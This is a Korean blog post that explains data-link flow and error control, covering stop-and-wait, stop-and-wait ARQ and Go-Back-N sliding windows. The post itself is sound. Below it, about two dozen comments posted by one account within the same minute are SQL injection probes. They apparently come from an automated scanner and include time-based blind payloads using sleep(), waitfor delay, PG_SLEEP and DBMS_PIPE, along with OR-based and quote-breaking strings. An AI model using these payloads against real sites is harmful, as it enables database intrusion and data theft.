네트워크프로토콜

[네트워크프로토콜] 흐름제어, 에러제어

by VICENTE97P4


April 5, 2022, 2:04 p.m.


Flow control

송신기가 수신기가 수용 가능한 만큼만 data를 보내기 위해 하는 것이 flow control입니다.

ACK를 통해 수신기의 수신 가능 여부를 판단합니다.


Error control

error 여부를 확인해서(channel coding, CRC 방식 등을 활용합니다.) 재전송(retransmission)합니다.


전송할 때 noise가 없는 경우를 생각해봅시다.

- 단순합니다.

- stop and wait 방식을 사용할 수 있습니다. 이는 가장 단순한 flow control 방법입니다.

- ARQ(error control)가 없습니다. noise가 없으니 error가 거의 없다고 판단하는 겁니다.


반면 noise가 있는 경우를 생각해봅시다.

- stop and wait ARQ

- Go back N ARQ(GBN)

- selective repeat ARQ(SR 이건 다음 포스팅에서 다루겠습니다.)

에러 제어가 있습니다.


Noiseless channels

노이즈가 없으면 손실, 깨짐, 중복 등이 없다고 가정합니다.


송신측

상위계층에서 data를 보내라는 요청이 오면 Frame을 만들고 보내면 됩니다.

수신측

frame을 받으면 data를 추출하고 상위계층으로 추출한 data를 보내주면 됩니다.


Flow diagram


위 diagram은 frame을 전송하고 있습니다.

그런데 frame이라고 해서 파란 색으로 칠해져있는데 두께가 있습니다.

이 두께는 transmission time(tx)입니다.

tx는 frame 자체를 전송하는데 걸리는 시간입니다.

tx = L / R

L은 frame의 크기(bits), R은 bit rate(bps)입니다.

L은 통상 1000 ~ 2000 bytes 정도입니다. R은 GB까지도 갑니다.

R이 클수록 tx는 줄어듭니다. 즉, 전송시간이 줄어듭니다.

요즘은 마이크로 second 까지도 속도가 나온다고 합니다.


그리고 프레임이 네트워크를 타고 전송되는 시간이 있습니다.

이를 propagation time(tp) 전파시간이라고 합니다.

tp = d / V

d는 distance, V는 빛의 속도와 유사합니다.

거리가 가까우면 ns까지 나올 수 있다고 합니다.


Stop and wait(Flow control)


ACK를 받아 확인해서 다음 data frame을 보냅니다.

receiver에 있는 buffer가 다 찼는데 데이터가 더 오면 overflow가 생겨 손실이 생깁니다.

sender 측에서도 위 계층에서 오는 data 전송요청 뿐만 아니라 physical layer에서 오는 ACK 수신까지 처리해줘야 합니다.



stop and wait의 diagram입니다. error가 없는 이상적인 channel이죠. 현실적이지는 않습니다.

우리는 항상 현실을 직면하고 해결해야 하죠..


Stop and wait ARQ protocol

window는 한 번에 frame을 몇 개까지 ACK를 받지 않고 보낼 수 있느냐를 의미합니다.

window size(w) = 1이면 stop and wait 방식입니다. 하나씩 보내니까 성능이 떨어지죠.

1보다 크면 continuous 방식입니다.

여기에는 go back n, selective repeat 방식이 있죠.

일단은 stop and wait ARQ를 봅시다.


stop and wait ARQ는 간단합니다.

frame을 보내고 일정 시간 기다렸는데 ACK이 안 오면 재전송 합니다.

이때 시간을 측정할 때 Timer를 사용합니다.

그리고 어떤 frame을 다시 보낼지 판단해야 하기 때문에 header에 sequence number를 붙입니다.


stop and wait는 성능이 문제입니다.

line link 사용률이 낮습니다. 당연하죠.. 1개씩 보내고, 확인받아야 또 보내고 하니까요..

성능을 측정하는 기준은 bandwidth-delay product로 평가합니다.

[bandwidth(bit rate) 또는 frame 크기] * 왕복시간

위 공식으로 평가합니다.

그러니까 최대 보낼 수 있는 data를 계산할 때는 bandwidth를, 지금 보낼 수 있는 frame 크기를 계산할 때는 frame 크기를 저 자리에 넣어서 계산하면 됩니다.


GBN(Go Back N) ARQ

window size가 1이면 stop and wait고 성능이 떨어집니다.

window size를 늘려서 성능을 높인 방법이 gbn입니다.

window size는 sequence num의 크기(bit 수)입니다.

gbn는 2^m - 1

sr(selective repeat)는 2^m/2

만큼의 data를 보낼 수 있습니다.

아니 m bits만큼 쓸 수 있는데 왜 data는 1개 적게 보내거나 절반만 보내느냐?

그 이유는 추후에 설명하겠습니다.



a는 m=4인 경우입니다.

0~14번까지 총 15개를 보낼 수 있습니다.

현재 6번까지 버냈고 7번부터 보내야 하는 상황이죠.

그런데 0, 1, 2번 ACK를 받았습니다. 그래서 window를 오른쪽으로 옮겨줬습니다.

이를 sliding window라고 합니다.

변수는 window의 시작을 알리는 Sf, 끝을 알리는 Sn, 크기를 말하는 Ssize 3가지를 씁니다.

수신측은 받을 frame 1개만 관리하면 됩니다.

sequence number 관리가 복잡해졌습니다.


gbn diagram입니다.


이제 왜 전체 크기 중 1개를 굳이 빼서 2^m - 1개만 쓰는지 알아보겠습니다.


b는 1개를 빼지 않고 2^m을 다 사용한 경우입니다.

수신측에서 frame을 잘 받았다고 보내는 ACK가 싹 다 손실되었다고 해봅시다. Worst case죠.

그럼 송신측은 0,1,2,3 모두 보냈는데 ACK가 안오니까 time out이 나고 다시 0부터 보냅니다.

근데 수신측은 Rn이 다 증가해서 0번을 가리키고 있네요??

그럼 송신측에 보낸 0번이랑 수신측이 가리키는 0번은 엄연히 다른 frame인데, 

수신측은 어? 0번이 제대로 왔네? 이렇게 판단해서 중복해서 frame을 받게 됩니다.


a는 정상적으로 1개를 빼서 2^m - 1개를 사용한 경우입니다.

ACK가 다 손실되어도 괜찮습니다.

송신측은 0번부터 다시 보낼테지만 수신측의 Rn은 3을 가리키고 있죠?

그럼 0번이 들어오면 어? 뭐야 이거 올 차례 아닌데? 하고 수신측에서 거를 수 있습니다.



보시면 ACK2를 못받았지만 3과 4를 받았기 때문에 잘 받았다고 판단하고 window를 옮깁니다.

만일 2를 못받았다면 어차피 3과 4 ACK는 수신측에서 안 보낼테니까요.

GBN은 error난 1개만 재전송 하는게 아니라 window에 있는 것들 모조라 다 재전송합니다.

그래서 n개를 싹 다 다시 보낸다고 해서 go back n이라는 이름이 붙었습니다.

네트워크프로토콜    26   view  1361
Log in and leave a comment
fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

I647aI1C

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1 OR 2+903-903-1=0+0+0+1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1 OR 3+903-903-1=0+0+0+1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*if(now()=sysdate(),sleep(15),0)

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1); waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1 waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

fH0MbDkU'; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1 OR 421=(SELECT 421 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1) OR 400=(SELECT 400 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1)) OR 163=(SELECT 163 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

cafVjFXN' OR 908=(SELECT 908 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

1RlEFTPi') OR 267=(SELECT 267 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

0pLrVzD4')) OR 165=(SELECT 165 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

'"

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

����%2527%2522\'\"

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

@@MYpRM

Updated: Feb. 22, 2025, 5:29 p.m.